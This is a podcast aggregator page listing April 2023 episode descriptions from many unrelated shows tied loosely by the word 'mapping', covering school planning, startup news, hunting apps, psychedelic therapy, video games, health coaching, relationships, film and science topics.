S5E14 - Mapping Our Future: CSIP

FORTiTUDE

Play Episode Listen Later Apr 30, 2023 21:21


#FZSupt As part of the state's new report cards for schools, Fort Zumwalt is Mapping Our Future. Throughout the 2022-2023 school year, Jennifer Waters, Assistant Superintendent for Curriculum and Instruction, and Dr. Paul Myers, Superintendent-Elect, have led the steering committee for the district's Comprehensive School Improvement Plan (CSIP). Incoming #FZSupt  shares an overview of the process so far and what comes next. Together Myers and Waters explain "the big buckets," priority items facing the district. The document, which will outline the district's goals for the  next three to five years, is due to the Department of Elementary and Secondary Education this summer.

Five & Thrive
EP48 | Keyfactor | Black Founders Forum | Cal Newport on ChatGPT | FlowPath | ScopeStack | Levitate

Five & Thrive

Play Episode Listen Later Apr 28, 2023 4:41


Introduction: Welcome to Five & Thrive: a weekly podcast highlighting the Southeast's most interesting news, entrepreneurs, and information of the week, all under 5 minutes.  My name is Jon Birdsong and I'm with Atlanta Ventures Companies Worth Applying To: Keyfactor, headquartered out of Independence, Ohio has a large and strong presence in Atlanta starting with their CEO Jordan Rackie and they are hiring. Keyfactor is hiring a remote sales manager among several roles. Keyfactor issues, manages, and protects machine identities across 1500+ businesses to ensure digital trust throughout every machine and transaction. We have put a link to their jobs. Event of the Week: Mark your calendars for June 15th. Jim Stallings of PS27 out of Jacksonville is hosting the Black Founders Forum at the University of North Florida. It is a full day event with keynote speakers, a pitch competition, panels, networking and more. Who should attend? Investors, angels, African American entrepreneurs, and professional services providers as well. Jim and the PS27 team are top notch so mark your calendars today.   Podcasts of the Week: If you are trying to wrap your head around AI and more specifically ChatGPT, Cal Newport, the author of Deep Work, has a fantastic episode on his Deep Questions podcast. Some of the questions asked and explored include:  How does ChatGPT work? (And should we worry about it?) Is there anything AI won't do better than humans? How will AI end up disrupting knowledge work? Should I quit web development before AI eliminates the industry? Will AI create mass job loss in the next five years? The TLDR in all of these is no, it's not coming for all of our jobs…at least for awhile. All of these questions and more are discussed and explored in this highly recommended podcast. We put the link in the show notes.  Feature Launch of the Week: While some of the specific feature launches are less headline worthy, I love them. Here's why, because these are the mini-milestones that lead to the headlines. It's fun to highlight raises, exits, and events, but the day to day grind is demonstrated through mini-milestones and one of those include features launched. We covered FlowPath a few weeks ago and here they are again with a major product enhancement around mapping and layouts. As a quick reminder, FlowPath makes facilities management software simple and this enhancement now allows their customers to visualize their work orders and upload floor plans, images, and more to create detailed maps of their facilities. Check out the extensive blog post with product demo in the show notes.   Raise a Glass: We have two of them this week out of the Carolinas. The first comes out of Greenville, South Carolina with the company called ScopeStack led by COO Andy Vanasse and CEO Jon Scott. Cultivation Capital, co-founded by Cliff Holekamp, led the $1.5M round. ScopeStack was founded in 2018 and ScopeStack provides a B2B platform that manages scoping and pricing for IT services. Likely a company hiring very soon as well. Congratulations to all involved on the next chapter of the story.  The next raise of the week comes out of the Raleigh-Durham triangle with Levitate raising $14M in their Series C. This round was led by Bull City Venture Partners. Levitate is a communications platform that streamlines anything from email, texting, calendars, notes, and more into one platform to manage it all. They have 4000 customers and $10M in ARR. Congrats to founder, Jesse Lipson on the next phase of the business.   Annnnnd that's five minutes! Companies Worth Applying To: Keyfactor  Event of the Week: Black Founders Forum Podcast of the Week: Cal Newport's Deep Questions: Thoughts on ChatGPT Product Feature Launch of the Week: FlowPath's Mapping and Building Layouts Raise of the Week: ScopeStack, Levitate

Her Inspired Journey
E-scouting, Online Mapping, and Hunt Tools at Your Finger Tips with Dylan Dowson

Her Inspired Journey

Play Episode Listen Later Apr 28, 2023 38:57


It's hard to think about hunting or exploring the outdoors without using an online mapping app like onX, but it's easy to feel like you might not be using the resource to it's full capabilities! Listen into this episode with my friend Dylan Dowson of onX hunt and get all the info!  Dylan is a down to earth guy with a young family and a big passion for hunting. Since being with onX for almost 8 years, he has done it all and walks us through some of the evolution of the company, the different roles he has played in it, and insight into just how to use the app.  We also highlight the onX offered Masterclasses on a variety of topics and tactics! Don't miss this episode! Tune into the Soul Summit Podcast and be a part of the conversation and learn to better use your online maps! @heroutdoorjourney @soulsummitmedia @dylan.hunter.dowson Or tune into our YouTube Channel to take the journey together!  Today's episode was brought to you by:  Sawyer - Protect yourself from disease carrying ticks and mosquitos on your next trip outdoors. Head to Sawyer.com to check out their full line of insect repellants, as well as water filtration systems, sun protection, and first aid supplies. Bakcou - Have you had a chance to check out Bakcou ebikes? If you're ready to add some fun to your hunts and make getting to and from your hunting spot faster and easier, Go take a test ride one of these electric bikes, at the BAKCOU  Head quarters in Ogden Utah! Just be aware, your hunts are about to be a lot more fun! Use. The code HEROUTDOORJOURNEY to save $300 at checkout!    Her Outdoor Journey - Are you ready to unplug and adventure on the trip of a lifetime! Join us July 15-22, 2023 in Sitka, Alaska!    This all-inclusive, 7-day Alaska Fishing + Exploration  Tour will have you fishing world class fisheries, hiking some of the most beautiful and untouched parts of Alaska, and relaxing on the waterfront with a small group of like-minded women.   Find all the details at heroutdoorjourney.com/Alaska  Did you enjoy this episode? We'd love to hear from you! Please take a minute to leave a review on the show. Tell us what you think OR what you want to hear next! We appreciate this community of outdoor junkies and we're looking forward to what the future holds! Now go get after it! Tag us in your adventures #SoulSummitPodcast

Beginner Mom Boss- Strategies to Start a Profitable Amazon Store or Etsy Shop
LIVE COACHING! Podcast strategy & mapping, analyzing launch & sales copy!

Beginner Mom Boss- Strategies to Start a Profitable Amazon Store or Etsy Shop

Play Episode Listen Later Apr 28, 2023 29:47


You're in for such a treat!  Today you get to be a fly on the wall and listen in to a podcast strategy session I did with my client Kelsey! We're looking at data, mapping out pillars, talking podcast strategy as well looking back at her recent launch! I can't wait for to dig in and listen in!   And if you're ready to increase your podcast download numbers and get your own top ranking podcast, then Rock Your Podcast is the course for you! Rooting for you!   Xo, Juliana

Partnered with a Survivor: David Mandel and Ruth Stearns Mandel
Season 4 Episode 2: Coming “Out” As A Survivor in a Professional Setting: A Practitioner's Journey

Partnered with a Survivor: David Mandel and Ruth Stearns Mandel

Play Episode Listen Later Apr 27, 2023 63:02


Listening to the voice of lived experience experts, AKA survivors of all forms of abuse and neglect, is becoming more and more a part of the domestic violence-informed professional landscape. At the same time, self-disclosure, in professional spaces, of being an abuse survivor can be a fraught for some practitioners. It can be associated with fears of judgment and marginalization. Even though those survivor experiences can positively inform direct work with families, enrich organizational culture and help guide policy, safety and support for practitioner survivors is often not the articulated norm in many organizations.In this episode, Ruth and David  interview Aliegha Manski, the 2023 winner of the Safe & Together Champion Award for Systems Change in the Asia Pacific Region. Aleigha shares with them her journey as a professional and a survivor. She talks about how the Safe & Together Model impacted her self perceptions as a survivor and assisted her in improving her ability to engage with families struggling with domestic violence. Aleigha reflects on how the process of Partnering and the Safe & Together Model Principles assisted her in self-reflection on abuse she endured as a child & the organizational & system responses to that abuse.In this interview Aleigha, David & Ruth address the “Elephant in the Room,” how societal victim blaming and internalized shame can affect professionals, even ones that are survivors themselves. Facing that reality head on with a Partnering framework not only helps to separate out those personal realities from professional practice but assists in healing and improving responses to victims of similar forms of abuse. The Partnering concept can not only improve practitioner-survivor professional practice but also provide a pathway to healing, improve worker safety, satisfaction and retention. This is an important episode for any professional who struggles with talking about their own experiences of abuse and any agency that wants to be trauma- and domestic violence-informed. The Safe & Together Model Partnering process can offer a pathway to healing for professionals who are also survivors & are working with families experiencing domestic violence. Creating space in organizations for professionals to safely disclose, not be blamed or professionally harmed by the fact someone  else chose to abuse them, is vital to having a truly domestic violence informed organization & to professional competency & worker satisfaction.Now available! Mapping the Perpetrator's Pattern: A Practitioner's Tool for Improving Assessment, Intervention, and Outcomes The web-based Perpetrator Pattern Mapping Tool is a virtual practice tool for improving assessment, intervention, and outcomes through a perpetrator pattern-based approach. The tool allows practitioners to apply the Model's critical concepts and principles to their current case load in real

Comic Lab
Losing confidence ... and leveling up

Comic Lab

Play Episode Listen Later Apr 27, 2023 64:22


Writer's Block often boils down to a crisis of confidence. How do you conquer that? Also, a listener asks for advice on a hybrid comic — half sequential art and half prose. ON THIS WEEK'S SHOW...Writer's BlockUPDATE: Joy-con mapping for your digital tabletHybrid comicsYou get great rewards when you join the ComicLab Community on Patreon$2 — Early access to episodes$5 — Submit a question for possible use on the show AND get the exclusive ProTips podcast. Plus $2-tier rewards.$10 — Gain access to the ComicLab livestreamed recording sessions (including an archive of past livestreams), plus $5-tier rewardsBrad Guigar is the creator of Evil Inc and the author of The Webcomics Handbook. Dave Kellett is the creator of Sheldon and Drive.

Mind Pump: Raw Fitness Truth
2062: Biohack Fatherhood With Ben Greenfield

Mind Pump: Raw Fitness Truth

Play Episode Listen Later Apr 27, 2023 115:26


In this episode Sal, Adam & Justin speak with Ben Greenfield about peptides and fatherhood. Why Ben is high on BP-157 and other peptides on his radar. (2:02) His evolution with biohacking. (16:19) Mapping out his new venture with his sons. (23:50) Recommended games for specific skills. (34:37) Raising a legacy of Greenfield's. (43:07) Can you have a legacy with technology? (51:25) His take on A.I. (56:22) Organic vs. Artificial. (1:04:50) Why he is drawn to an analog lifestyle. (1:13:54) You can't learn certain lessons unless you go through the darkness. (1:20:07) The Greenfield Pharmacy. (1:23:37) How he educates his sons about finances. (1:26:02) The fulfillment and lessons learned with helping other people out. (1:31:13) How we were created to create. (1:38:59) His journey and relationship with psychedelics. (1:43:45) Related Links/Products Mentioned NCI is hosting a five-day deep dive into how to create, scale, and sustain a business you not only love but one that gives you the FREEDOM to live the life you want! Visit here to sign up today! April Promotion: MAPS Anabolic or MAPS Split 50% off! **Code APRIL50 at checkout** BPC 157: How To Use It To Healing Your Body Like Wolverine Mind Pump #2032: Can You Reverse Aging & Live Longer? All About Longevity Peptides Jay Campbell Mind Pump #2017: The Best Peptides For Fat Loss With Dr. William Seeds The Little-Known Russian Wonder Compound & The Fringe Future Of Anti-Aging Medicine Philip Micans Articles on Peptides TruDiagnostic™ | Advanced Epigenetic Testing HOME - Go Greenfields Ticket to Ride | Board Game | BoardGameGeek Rhetoric - The Public Speaking Game Exploding Kittens | Party card games, puzzles, greeting cards & more Games - The Oatmeal Multiplayer Five in a Row | Novel Games Positive Parenting Solutions & Educational Resources | Love and Logic The Health Optimisation Summit 2023 The Creative Penn Podcast For Writers Joanna Penn Mind Pump #1792: The Secrets Of Happy People With Arthur C. Brooks Boundless Parenting: Tools, Tactics and Habits of Great Parents – Book by Ben Greenfield Killing Sacred Cows: Overcoming the Financial Myths That Are Destroying Your Prosperity – Book by Garrett B. Gunderson Way2Wealth - Online Share/Stock Trading, Mutual Funds, Insurance Breathwork App - Meditative Breathing | The Breath Source Pharmakia, Plant Medicines, Addiction, Escapism, & More Mind Pump Podcast – YouTube Mind Pump Free Resources Featured Guest/People Mentioned Ben Greenfield (@bengreenfieldfitness) Instagram Jay Campbell (@jaycampbell333) Instagram Dr. William Seeds (@williamseedsmd) Instagram Prof. Vladimir Khavinson Jo Penn (@jfpennauthor) Instagram Arthur Brooks (@arthurcbrooks) Instagram Wim Hof (@iceman_hof) Instagram Bishop Robert Barron (@bishopbarron) Instagram

Multi-Passionate Mastery
Ep 37: ⚡️Client Spotlight⚡️How this Multi-Passionate Finally Started Finishing her Projects Using the Priority Mapping Method with Ali Herron

Multi-Passionate Mastery

Play Episode Listen Later Apr 26, 2023 40:53 Transcription Available


Have you ever had a project that you were excited about at first but after a while the spark faded, so you never actually finished it?If you're multi-passionate, I know the answer is a big YES.That was the case with Ali, until she joined my coaching program- Prioritize and Thrive- and learned a holistic approach to finally bringing her projects to the finish line.In today's client spotlight episode, you'll hear from Ali about what drew her to join the program, what she has gained from it thus far, and why she recommends it to fellow multi-passionates.Interested in joining Prioritize and Thrive? Visit https://multipassionatemastery.com/coaching 

Gapology Radio
What's Your Story?: IMBAR Mapping Series

Gapology Radio

Play Episode Listen Later Apr 26, 2023 29:00


Each of us has a story. We are writing a narrative every day that defines our lives. Many of us are not even aware of this fact, and as a result, we trudge through life without any sense of control or purpose, feeling unfulfilled, frustrated, and directionless. In reality, however, we, more than anyone else, have the ability to create the story we desire. In this episode, we discuss the power of creating a Storyboard based on how we currently see ourselves as a process to design the story we desire.

The Psychedelic Entrepreneur - Medicine for These Times with Beth Weinstein
The Role of the Body in Psychedelic Therapy: A Highly Relational Alternative to the Sitter Model with Saj Razvi

The Psychedelic Entrepreneur - Medicine for These Times with Beth Weinstein

Play Episode Listen Later Apr 25, 2023 67:11


Saj Razvi, LPC is the founder and Director of Education at PSI. He is a psychotherapist and former clinical researcher in the MAPS Phase 2 trial of MDMA-assisted psychotherapy. He is faculty at Synthesis, taught PTSD studies at the University of Denver, as well as a PhD course at the University of Copenhagen. He is one of the primary developers of the Psychedelic Somatic Interactional Psychotherapy (PSIP) modality which is a next generation, primary consciousness oriented psychotherapy. The focus of PSIP is to maximize the relational and autonomic nervous system healing capacity of psychedelic medicine to treat complex, childhood developmental trauma.Saj's primary focus is to train clinicians to provide legal, effective psychedelic treatment in their private practice settings utilizing readily accessible medicines such as cannabis and ketamine. He provides PSI trainings and supervision to students internationally.In this episode Saj Razvi and Beth Weinstein discuss…▶ PSIP focuses on treating childhood developmental trauma with psychedelics▶ Saj trains clinicians to provide legal, effective psychedelic treatment in their private practice settings and offers PSI trainings and supervision to students internationally▶ PSIP emphasizes interactional therapy and relational healing to address patterns of attachment▶ All psychedelics take us to a non-ordinary state of consciousness and work with the default mode network ▶ Cannabis is a “narrow” psychedelic that engages dissociation in a way that other medicines don't▶ Psychedelic therapy is inherently destabilizing and requires the ability to stabilize between therapy sessions▶ The PSIP modality goes to the most activated and numbed out places and offers connection and nurturing so a client can re-experience and re-associate difficult memories▶ Becoming a psychedelic-assisted therapy practitioner takes time and effort and it is important to take the time to develop skills and work ethically▶ Concerns about the exponential growth in the psychedelic fieldSaj Razvi's Links & Resources▶ Website: https://www.psychedelicsomatic.org/▶ Instagram: https://www.instagram.com/psychedelicsomatic/▶ Facebook: https://www.facebook.com/psychedelicsomatic/▶ YouTube: https://www.youtube.com/channel/UChk9gjqBRfBe3uERIJY82bg▶ Free Gift :An hour-long video on Mapping the Autonomic Nervous System: https://www.psychedelicsomatic.org/resources▶ Free Gift: A Case Study on cannabis-assisted psychotherapy for complex dissociative posttraumatic stress disorder: https://www.frontiersin.org/articles/10.3389/fpsyt.2023.1051542/full

Omega Metroid Podcast
Episode 162 - Sector 4 (AQA): Mapping Metroid

Omega Metroid Podcast

Play Episode Listen Later Apr 25, 2023 75:32


Mapping Metroid returns to the B.S.L. Station to once again detail one of Metroid Fusion's ominous sectors - Sector 4 (AQA)! We're going in depth talking about the right-to-left layout and how unique it is; how some of the enemies like Evir and the Aqua Pirates remind us of Super Metroid; the dichotomy between the steely upper surface and the bright, colorful submerged parts; the Serris boss fight and how fun it is; if this Sector has the most underrated track in Metroid; our favorite expansions; and, of course, THAT hidden Easter Egg scene! All this, PLUS some Stanley Cup playoffs talk and a plug for Dak appearing on the newest episode of The Zelda Cast! Come listen along and learn more about Sector 4 than you ever thought possible!   Visit OmegaMetroid.com!   Subscribe! Podbean x iTunes x Spotify x YouTube Support us on Patreon! Omega Metroid Patreon Buy Omega Metroid Merch! Check out our Etsy merch shop! Download the Omega Metroid Theme Song! Get the Single for Free on Bandcamp! Follow us on Twitter! @OmegaMetroidPod x @Spiteri316 x @dakcity_ x @DoominalCross Chat with us in Discord! Omega Metroid Discord Advertise on the Omega Metroid Podcast!

Thriving Thyroid with Shannon Hansen - Functional Nutrition for better women's hormones using food as medicine.

SHOW NOTES AT    Get on the Hansen Method waitlist. Click here. We open up the Hansen Method 2-3x a year so that we can fully support our clients to the highest degree possible.   Thinking about using nutrition and holistic health for restoring thyroid function? Learn EVERYTHING you need to know by joining our Free Facebook Group. Thriving Thyroid Balance Community.   Are you interested in learning more about your thyroid and finding answers?    We got you!    We have several different opportunities to work with us at several different price points and opportunities.    Our signature 6-month program is called The Hansen Method, we offer this in a VIP setting with personalized plans and protocols, individual one on one coaching and incredible bonuses that change regularly. You can schedule a complimentary thyroid breakthrough call with one of our thyroid advisors. Click here.  If you have questions about the Hansen Method and want to discuss your specific situation and make sure this is the right program for you you can schedule a complimentary thyroid breakthrough call with one of our team members. schedule here. Hurry, my schedule fills up quickly and we only work with limited amount of women at any given time.    Join hundreds of women who have improved their symptoms by 80% and lose on average 30lbs in the 4 months.     Not ready to schedule a call, no problem. Learn more about the Hansen Method to see if it's a good fit for you. Click here to learn more.    We also offer The Hansen Method as a Self Guided option.    Option number 1 for self guide is where you are totally on your own to go through the program content, make the changes and execute them on your own. Click here to purchase.    Option number 2 includes group coaching and access to our members facebook group that will allow you access to our Thyroid Success Coaches and testing with personalized protocols. Click here to purchase.      But one of our favorite ways to work with us is our Thriving Thyroid Coaching Membership Opportunity.  This is where many of clients first begin working with us. It allows you to get to know us, our system and start making changes before making a larger financial investment. Click here to learn more.    CONTACT LINKS Website Facebook Community YouTube Instagram   DOWNLOADABLE RESOURCES Freedom From Fatigue Guide  Download our Thyroid Panel Guide. Best Foods for Thyroid Thriving Hair Guide Dining Out Guide Thyroid Blocker List   PAID RESOURCES Thyroid Recipe Book 10-day detox   AFFILIATE LINKS Branch Basics Doterra Essential Oils Beauty Counter Fullscript Supplements   Xo, Shannon Hansen   P.S. Make sure to schedule our Thyroid Breakthrough call with one of our thyroid advisors. 

The Amish Inquisition Podcast
Mapping The Hero's Journey - Bernie Taylor : 278

The Amish Inquisition Podcast

Play Episode Listen Later Apr 24, 2023 162:25


This week author and naturalist Bernie Taylor returns with groundbreaking new research, relating to our previous discussions of deep prehistory. Ancient cave art, mythology, anthropology, archeoastronomy and the work of Joseph Campbell are just a few of the areas that Bernie synthesises to help us understand how our ancestors viewed the world.  Time permitting, we may also get a chance to discuss how a Durham University/British archaeology team recently stole his earlier work and tried to pawn it off to the world as their own "discovery". Bernie has since openly challenged them and won! Check out Bernies's Website and YouTube Channel below:   Website: https://beforeorion.com/   YouTube: https://www.youtube.com/@beforeoriondotcom   ____________________________________________________________________ Follow us here: https://allmylinks.com/the-amish-inquisition   Signup for the newsletter, join the community, follow us online, and most importantly share links!    #herosjourney #mythology #caveart   ____________________________________________________________________ Marc Malone's Online Event: https://healingenergywebinar.squarespace.com/ Healing Energy Webinar Friday 28th April, 12.00pm-4.30pm CST. Please support if you can.   Producer Credits for Ep 278:  Producers - Slicko, Richard Morris, Helen, Martin Young, Lee And Nick   ____________________________________________________________________ Message us here....follow, like, subscribe and share. (comments, corrections, future topics etc). We read out iTunes reviews if you leave them. Website - http://www.theamishinquisition.com/ Join the Element server: https://matrix.to/#/%23the-amish-inquisition%3Amatrix.org Subscribe to the Newsletter: http://www.theamishinquisition.com/p/subscribe-to-the-newsletter/ Get your Merch from: The Amish Loot Chest - https://teespring.com/en-GB/stores/amish-inquisition-loot-chest Email - theamishinquisition@gmail.com Buy us a Coffee - https://www.buymeacoffee.com/theamishguys Patreon -https://www.patreon.com/theamishinquisition Guilded - https://www.guilded.gg/i/k5ax5Adk Odysee Channel - https://odysee.com/@theamishinquisition:e Rumble - https://rumble.com/c/c-1347401 TikTok - https://vm.tiktok.com/ZMLtYEueE/ Twitter - https://twitter.com/amishinqpodcast Facebook - https://www.facebook.com/amish.inquisit.3 Instagram - https://www.inAmish Inquisition | Facebookstagram.com/theamishinquisition/?hl=en Bitchute - https://www.bitchute.com/channel/0fNMZAQctCme/ YouTube - https://www.youtube.com/channel/UCmv8ucrv5a2KpaRWyBWfBUA Find out how to become a Producer here - http://www.theamishinquisition.com/p/phil-1523918247/ Become a Producer! The Amish Inquisition is 100% supported by YOU.  NO Ads, NO Sponsorship, NO Paywalls. We really don't want to suckle at the teat of some faceless corporate overlord. But that is only avoidable with your help! Join your fellow producers by donating to The Amish Inquisition via the PayPal button on our website, simply donate whatever you think the show is worth to you. If you find the podcast valuable, please consider returning some value to us and help keep the show free and honest.   Assets 278: Marc Malones Event: https://healingenergywebinar.squarespace.com/ Star Wars actor destitute: https://www.thesun.co.uk/tvandshowbiz/22057052/biggest-characters-star-wars-homeless/ Snooker Chaos: https://twitter.com/OOCSnooker/status/1648029424736952322?t=o2olwHyHpdrai4Hjzm-U3A&s=19 https://twitter.com/Livesnooker/status/1648037528388136971?t=YMpU5Yuj38_I3E8wxnbNMA&s=19 Cheesy London: https://twitter.com/Britishfinest21/status/1649100516532666378?t=0ChkKOgJ6fG-H9fpDIYT_Q&s=19 New answerphone message: https://twitter.com/Britishfinest21/status/1648945188658728960?t=dExRSYWACrTSunbT6KhSwQ&s=19 Florida EM Alert: https://www.nytimes.com/2023/04/20/us/florida-emergency-alert.html?smid=url-share Bran Flake: https://www.thesun.co.uk/news/22095192/i-was-stunned-to-find-worlds-biggest-bran-flake/ Roof Rack Fail: https://twitter.com/Britishfinest21/status/1649819454702747649?s=20 Kid Picks Up Shit: https://twitter.com/_1Bonita_/status/1650053311574278144?s=20 Biden Run Again?: https://www.youtube.com/watch?v=_Rl7TwSWdyQ

The Horny Housewife
128- his favorite porn star vs. his wife, pussy hygiene hack, and Pleasure Mapping 101

The Horny Housewife

Play Episode Listen Later Apr 24, 2023 54:00


Starting off today with "married sex facts" that I feel some type of way about. Todays listener questions: A wife who snooped her mans porn history only to find "the favorite"- a much older woman with large large large fake breasts; so nothing like her. She finds this ironic as her husband has voluntarily said he dislikes large fake breasts- the wife has big breasts but these happen to be extra fake and extra large. This wife cant help but compare herself and wonder what she can do to be more desirable. Another listener asks if I tell my husband when I am about to climax. Another wife who admittedly had a postpartum funk where she neglected her husband sexually for about a year and half says after realizing she made sure to get things back hott n heavy. She feels like she is doing most of the intiating when it comes to sex, and lately her husband has made excuses that he is tired or in his head as he goes soft sometimes mid sex. Should she withhold, neglect 'her needs' and stop being so available? Lastly a listener question follow up to husbands with wive that may taste/smell bad. This genius hack that was kindly shared to me by a husband/male listener shares his experience and solution to getting his woman to realize she needed to 'adjust the settings below'- a great segment to inspire some female hygiene=) Todays topic of the hour: Pleasure Mapping- learn your partners body as a whole, sensory play while discovering new erogenous zones on yourself and your S.O. to view the course go the Beducated link below! Beducated: Try 24 hours ALL ACCESS + 50% off yearly subscription with my code "JORDYN" go to https://beducate.me/pd2316-jordyn. “Download Amorus today for delicious sexy games with your partner” EveryPlate: Get started with EveryPlate for just $1.49 per meal by going to EveryPlate.com/podcast and entering code housewife149. Butter Wellness: Get 20% off The Personal Massager by Butter Wellness. Go to butterwellness.com and use the code “HOUSEWIFE” at checkout for 20% off. Like audio erotica or want to support the podcast? Join the Patreon! Email the host: thehornyhousewifepod@gmail.com Advertising/Collabs: admin@pleasurepodcasts.com Ask anon> www.thehornyhousewifepodcast.com

Vintage Sand
Vintage Sand Episode 45: Mapping the Metaverse: 2022 in Film

Vintage Sand

Play Episode Listen Later Apr 22, 2023 86:26


2022 was definitely the everything bagel of movie years. No less an authority than Stephen Spielberg anointed Tom Cruise as the savior of movies this summer, which made sense given the success of "Top Gun: Maverick". Then came the fall, and excellent movies were released…and no one showed up. And even when they did, as with the $2.2 billion dollar gross accumulated by James Cameron's "Dances with Smurfs Part Deux", the movies barely seemed to make a dent in the cultural landscape. It didn't help that so many of our beloved directors released crappy movies: Aronofsky with the odious "The Whale", Russell with his how-could-it possibly-go-wrong-with-that-cast disaster "Amsterdam", Alex Garland with the puzzling (and not in an interesting way) "Men", Iñarritú inadvertently reminding us how brilliant both "Roma" and "8 ½" are with "Bardo", and the literal crapfest (elephant, in this case) that was "Babylon". Sometimes, it felt like 2022 was a living, breathing argument against the auteur theory. Yet there were some very good spots too, including not one but two really interesting portrait-of-the-filmmaker-as-a-young-man movies with "Fabelmans" and "Armageddon Time". The scene of the year? Cate Blanchett as Lydia Tar (née Linda Tarr of Staten Island!) arguing with one of her students about the pointlessness of cancelling Bach in Todd Fields' most welcome return. "Everything Everywhere" became the only film in history to win three acting Oscars and Best Picture. Underappreciated gems like "The Menu" and (sorry, John and Michael) "Don't Worry Darling", and even appreciated ones like "Aftersun" wormed their way into our brains and didn't let go, though I will never look at s'mores the same way again. And we even had a solid Oscars ceremony, with powerhouse performances by Rihanna and Lady Gaga and nearly an epic battle between Malala and Cocaine Bear. Plus, we got perhaps the most sublime moment in American film this century: David Lynch playing John Ford in a Spielberg film. That glorious scene almost took away the sour taste of the “Look, I'm doing Bergman!” montage of film history that ended "Babylon" not nearly soon enough. And while we liked "EO" better when it was "Au Hasard Balthasar", and "Living" better when it was "Ikiru", and we thought that the Siegfried Sassoon biopic "Benediction" was a better World War I film than "All Quiet", there were definitely some tasty tidbits to be found on that everything bagel. An up and down year, but to paraphrase the wondrous Lashana Lynch as Miss Honey in Matilda, it wasn't much, but it was enough for us.

A Moment of Science
The brain and mapping your toes

A Moment of Science

Play Episode Listen Later Apr 21, 2023 2:00


In most people's brains, each finger is represented by its own small section in the brain, but the same isn't true for toes.

Gapology Radio
Executive Impact: IMBAR Mapping Series

Gapology Radio

Play Episode Listen Later Apr 21, 2023 21:55


Like it or not, your IMBAR impacts your team. Your Identity, Mindset, and Behaviors create the Actions and Results that the team produces. You can see it. You can feel it every day. And by knowing this, you have a tremendous opportunity to do something really amazing with it. Their IMBAR is a direct reflection of your own IMBAR. Like a mirror in which you come face-to-face with yourself, your team's Identity, Mindset, and Behaviors are really your own.  So how do you create something amazing? Tune in to find out!

Living With Power
Unshaken faith when the river dries up [UNSHAKEN #15]

Living With Power

Play Episode Listen Later Apr 20, 2023 36:11


In 1 Kings 17 we encounter the prophet Elijah announcing a great draught that will have an adverse impact on the whole land of Israel. As a result, he must rely on the provision of the Lord for survival, but even the brook he is led to by God dries up soon enough. What in your life looks like it's drying up right now? Are you confused when the obedience in your life leads to suffering? What is God doing in us when he allows us to go through difficult seasons? In today's podcast we will see how God is at work through our greatest struggles to make us into the persons He can entrust with greater power and kingdom impact.   ABOUT: Lina AbuJamra founded Living with Power Ministries and is a popular Bible teacher, podcaster, and conference speaker. She's also the host of a radio show and the author of several books, including Fractured Faith and the forthcoming Bible Study series, Mapping the Footsteps of God. Lina is a pediatric ER doctor who practices telemedicine and in her “spare” time, she provides medical care and humanitarian help to Syrian refugees and others in disaster areas. Learn more about her at LivingWithPower.org. Follow on Insta: linaabujamra Follow on facebook: Lina Abujamra Follow on Twitter: @LinaAbujamra

The Europeans
How racial bias is messing with DNA research

The Europeans

Play Episode Listen Later Apr 20, 2023 39:32


Mapping our genes has already allowed humanity to make huge strides in medicine. But the vast majority of the genomes we've decoded are those of people of white European heritage. Why is that a problem, and how do we fix it? This week we talk to the Nigerian geneticist Segun Fatumo about fixing the genome gap. We're also talking about Andalucía's bid to protect flamenco, and why Europe's most powerful media mogul is in hot water. Segun is an associate professor of genetic epidemiology and bioinformatics at the London School of Hygiene and Tropical Medicine. He tweets @SFatumo. You can find a video of flamenco performers celebrating Andalucía's new law here, and watch the latest visual podcast in our series with Are We Europe, 'Andrea', here. We are delighted that the visual version of an earlier episode of This Is What A Generation Sounds Like, 'Mohamed', has been nominated for the CIVIS Prize! Watch it here. This week's Isolation Inspiration: this interview on the European Space Agency's Jupiter mission; How To Sell Drugs Online (Fast); World Leader or My Friend's Dad? and Luis Sal's Parisian croissant review.  Thanks for listening! If you enjoy our podcast and would like to help us keep making it, we'd love it if you'd consider chipping in a few bucks a month at ⁠patreon.com/europeanspodcast⁠ (many currencies are available). You can also help new listeners find the show by ⁠leaving us a review⁠ or giving us five stars on Spotify.  FULL EPISODE TRANSCRIPT HERE: https://europeanspodcast.com/episodes/how-racial-bias-is-messing-with-dna-research 00:22 Make Europe Digestible Again 02:23 A Good Week for protecting flamenco? 09:22 A Bad Week for Axel Springer's CEO 19:30 Interview: Segun Fatumo on the European bias of genomic studies 30:24 Isolation Inspiration: Juice, 'How to Sell Drugs Online (Fast)', World Leader or My Friend's Dad, croissant reviews 34:59 Happy Ending: 500 days of reading and knitting (in a pitch-black cave) Producers: Katy Lee and Wojciech Oleksiak  Mixing and mastering: Wojciech Oleksiak Music: Jim Barne and Mariska Martina Twitter | Instagram | hello@europeanspodcast.com

Science Magazine Podcast
Mapping uncharted undersea volcanoes, and elephant seals dive deep to sleep

Science Magazine Podcast

Play Episode Listen Later Apr 20, 2023 36:06


What does it mean that we have so many more seamounts than previously thought, and finding REM sleep in seals   First up on the show this week: so many seamounts. Staff News Writer Paul Voosen joins host Sarah Crespi to discuss a study that mapped about 17,000 never-before-seen underwater volcanoes. They talk about how these new submarine landforms will influence conservation efforts and our understanding of ocean circulation.    Next up, how do mammals that spend 90% of their time in the water, get any sleep? Jessica Kendall-Bar, the Schmidt AI in Science postdoctoral fellow at the Scripps Institution of Oceanography at the University of California, San Diego, is here to talk about her work exploring the sleep of elephant seals by capturing their brain waves as they dive deep to slumber.   Finally, in a sponsored segment from Science/AAAS Custom Publishing Office, Jackie Oberst, assistant editor for the Custom Publishing office, interviews Friedman Brain Institute Director Eric Nestler and Director of Drug Discovery Paul Kenny, two experts on addiction from the Icahn School of Medicine at Mount Sinai. This segment is sponsored by the Icahn School of Medicine at Mount Sinai.   This week's episode was produced with help from Podigy.   [Image: Rob Oo/Flickr; Music: Jeffrey Cook]   [alt: two female elephant seals looking at the camera with podcast overlay]   Authors: Sarah Crespi; Paul Voosen   Episode page: https://www.science.org/doi/10.1126/science.adi3256   About the Science Podcast: https://www.science.org/content/page/about-science-podcastSee omnystudio.com/listener for privacy information.

Everything Just Changed
Introducing The Cartographers

Everything Just Changed

Play Episode Listen Later Apr 19, 2023 1:46


